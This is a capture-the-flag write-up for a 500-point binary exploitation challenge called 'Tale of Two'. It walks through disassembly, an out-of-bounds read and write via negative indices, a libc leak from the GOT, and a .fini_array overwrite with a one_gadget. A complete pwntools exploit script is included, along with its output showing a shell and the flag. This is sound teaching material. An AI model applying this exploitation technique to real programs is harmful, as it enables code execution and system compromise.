Tale of Two

Category: Binary Exploitation, ROP, fini_array
Created: Nov 8, 2020 3:59 PM
Points: 500
Solved: Yes
Subjective Difficulty: 🔥🔥🔥🔥

WriteUp:

Author: @Tibotix

🔎 Research:

We are given a program that asks us where we want to read and gives us the value of this address in memory. Next, it asks where we want to write and what we want to write. Then, our 8bytes value are written to the specified address.

Lets reverse engineer the main function and see what it does:

```
        [...]
        [...]
        1194:   e8 b7 fe ff ff          call   1050 <__isoc99_scanf@plt>
    1199:   48 8b 45 f0             mov    rax,QWORD PTR [rbp-0x10]  # rax =
input_decimal
    119d:   48 8d 14 c5 00 00 00    lea    rdx,[rax*8+0x0]           # rdx =
rax*8
    11a4:   00
    11a5:   48 8d 05 2c 22 00 00    lea    rax,[rip+0x222c]          # rax =
(address) <var_buf_struct>
    11ac:   48 8b 04 02             mov    rax,QWORD PTR [rdx+rax*1] # rax =
input_decimal-te byte from <var_buf_struct>
    11b0:   48 89 c6                mov    rsi,rax                   # rsi = rax
    11b3:   48 8d 3d 6a 0e 00 00    lea    rdi,[rip+0xe6a]        # 2024
<_IO_stdin_used+0x24>
    11ba:   b8 00 00 00 00          mov    eax,0x0
    11bf:   e8 7c fe ff ff          call   1040 <printf@plt>         #
printf(input_decimalte-te byte from <var_buf_dtruct>)
    11c4:   48 8d 3d 5e 0e 00 00    lea    rdi,[rip+0xe5e]        # 2029
<_IO_stdin_used+0x29>
    11cb:   b8 00 00 00 00          mov    eax,0x0                #
    11d0:   e8 6b fe ff ff          call   1040 <printf@plt>      # where want
to write
    11d5:   48 8d 45 f0             lea    rax,[rbp-0x10]         #
    11d9:   48 89 c6                mov    rsi,rax                # rsi = (addr)
<input_var>
    11dc:   48 8d 3d 3d 0e 00 00    lea    rdi,[rip+0xe3d]        # 2020
<_IO_stdin_used+0x20>
    11e3:   b8 00 00 00 00          mov    eax,0x0
    11e8:   e8 63 fe ff ff          call   1050 <__isoc99_scanf@plt>
```

```
    11ed:   48 8d 3d 52 0e 00 00    lea    rdi,[rip+0xe52]        # 2046
<_IO_stdin_used+0x46>
    11f4:   b8 00 00 00 00          mov    eax,0x0
    11f9:   e8 42 fe ff ff          call   1040 <printf@plt>      # what want to
write
    11fe:   48 8b 45 f0             mov    rax,QWORD PTR [rbp-0x10]# rax =
input_decimal
    1202:   48 8d 14 c5 00 00 00    lea    rdx,[rax*8+0x0]         # rdx = rax*8
    1209:   00
    120a:   48 8d 05 c7 21 00 00    lea    rax,[rip+0x21c7]        # 33d8 <buf>
    1211:   48 01 d0                add    rax,rdx                 #
    1214:   48 89 c6                mov    rsi,rax                 # rsi =
<var_buf_struct>+input_decimal-te bytesta
    1217:   48 8d 3d 44 0e 00 00    lea    rdi,[rip+0xe44]        # 2062
<_IO_stdin_used+0x62>
    121e:   b8 00 00 00 00          mov    eax,0x0
    1223:   e8 28 fe ff ff          call   1050 <__isoc99_scanf@plt> #scanf(?,
<var_buf_struct>+input_decimal-te byte )
    1228:   b8 00 00 00 00          mov    eax,0x0
    122d:   48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
    1231:   64 48 2b 0c 25 28 00    sub    rcx,QWORD PTR fs:0x28
    1238:   00 00
    123a:   74 05                   je     1241 <main+0xe8>
    123c:   e8 ef fd ff ff          call   1030 <__stack_chk_fail@plt>
    1241:   c9                      leave
    1242:   c3                      ret
```

So from this we can construct the following C-Code the program will probably look like:

```c
void* buf[n]; // in data segment

int main(){
    long int number;
    printf("Where do you want to read?");
    scanf("%ld", number); //long signed int decimal (4bytes)
    printf("%zx\n", buf[number]); // size_t hexadecimal (8bytes)

    printf("Where do you want to write?");
    scanf("%ld", number); // long signed int decimal (4bytes)

    printf("What do you want to write?");
    scanf("%zu", buf[number]); // size_t decimal (8bytes)s
}
```

📝 Vulnerability Description:

As we can supply a long signed int to where we want to read, we can read in negative direction too. A quick view at where GOT is located shows us, that GOT is almost completely next to buf. So we can read out the printf address from GOT as this is already resolved by first call to printf. So we can leak a libc_address.
Another structure we can reach from buf is the `.fini_array`. This structure contains pointers to functions that will be called when exiting the program and the global dtors are proceeded.
Thus allowing us to overwrite a `.fini_array` entry with a value we can control and ideally leads to a shell.

Exploit Development:

The distance between buf and printf GOT entry is 40 bytes, so we need to access `-40/8=-5` entry from buf: `buf[-5]`.

With the printf address we can easily calculate libc_base by looking up the printf_offset in [libc_database]:

```
printf_offset = 0x64e80
libc_base = printf_addr - printf_offset
```

Next, we use the tool called [one_gadget] to recieve a gadget that spawns a shell simply by calling it.

We choose the gadget at address `0x4f322` .

Finally, we have to find a overwrite location that value will be called after we overwritten it. The `.fini_array` section contains such pointers to function that will be called at exit of the programm.

The `.fini_array` section is located -600bytes from buf, so the input where we wanna write is `-600/8=-75` .

Exploit Programm:

```
from pwn import *
import binascii

printf_offset = 0x64e80
one_gadget_addr = 0x4f322

fini_array_offset = 0x214a

p = remote("challenges.ctfd.io", 30250)

pause()

p.recvline() # Where do you want to read?
p.sendline("-5") # printf_addr
printf_addr = int.from_bytes(binascii.a2b_hex(p.recvline(keepends=False)),
"big")
print("printf_addr: {0}".format(hex(printf_addr)))
```

```
libc_base = printf_addr - printf_offset
print("libc_base: {0}".format(hex(libc_base)))
one_gadget = libc_base + one_gadget_addr
print("one_gadget: {0}".format(hex(one_gadget)))

p.recvline() # Where do you want to write?
p.sendline("-75") #fini_array_start
p.recvline() # Waht do you want to write?
p.sendline(str(one_gadget))

p.interactive()
```

Run Exploit:

```
root@bcb119951d4f:/pwd/TaleOfTwo# python3 exploit.py
[+] Opening connection to challenges.ctfd.io on port 30250: Done
[*] Paused (press any to continue)
printf_addr: 0x7f61824e3e80
libc_base: 0x7f618247f000
one_gadget: 0x7f61824ce322
[*] Switching to interactive mode
$ cat flag.txt
nactf{a_l0n3ly_dt0r_4nd_a_sh3ll_tUIlF0jxW5aMXoGo}
$
```

FLAG: nactf{a_l0n3ly_dt0r_4nd_a_sh3ll_tUIlF0jxW5aMXoGo}

Summary / Difficulties:

The main difficulty in this challenge is that we dont have any obvious options to overwrite our gadget with so we can call our gadget. There the `.fini_array` section is a good place to place our gadget address. The address of the `.fini_array` start can be found by inspecting with `readelf --sections ...` .

Further References:

- ROP
- .fini_array overwrite

Used Tools:

- Pwndbg
- one_gadget
- Libc-Database

Notes:

Ideas

- overwrite got entry with other function
- overwrite __malloc_hook in libc_data_segment with other function
- overwrite __fini_array with our function

Problems

- how can we get called our overwrite function if function that overwrites it is last call?

  → overwrite .fini_array (gets called at exit)

Remember

.fini_array section start can be found at readelf section output.
.fini_array (or .dtos) entry in pwngdb called *__do_global_dtors_aux_fini_array_entry*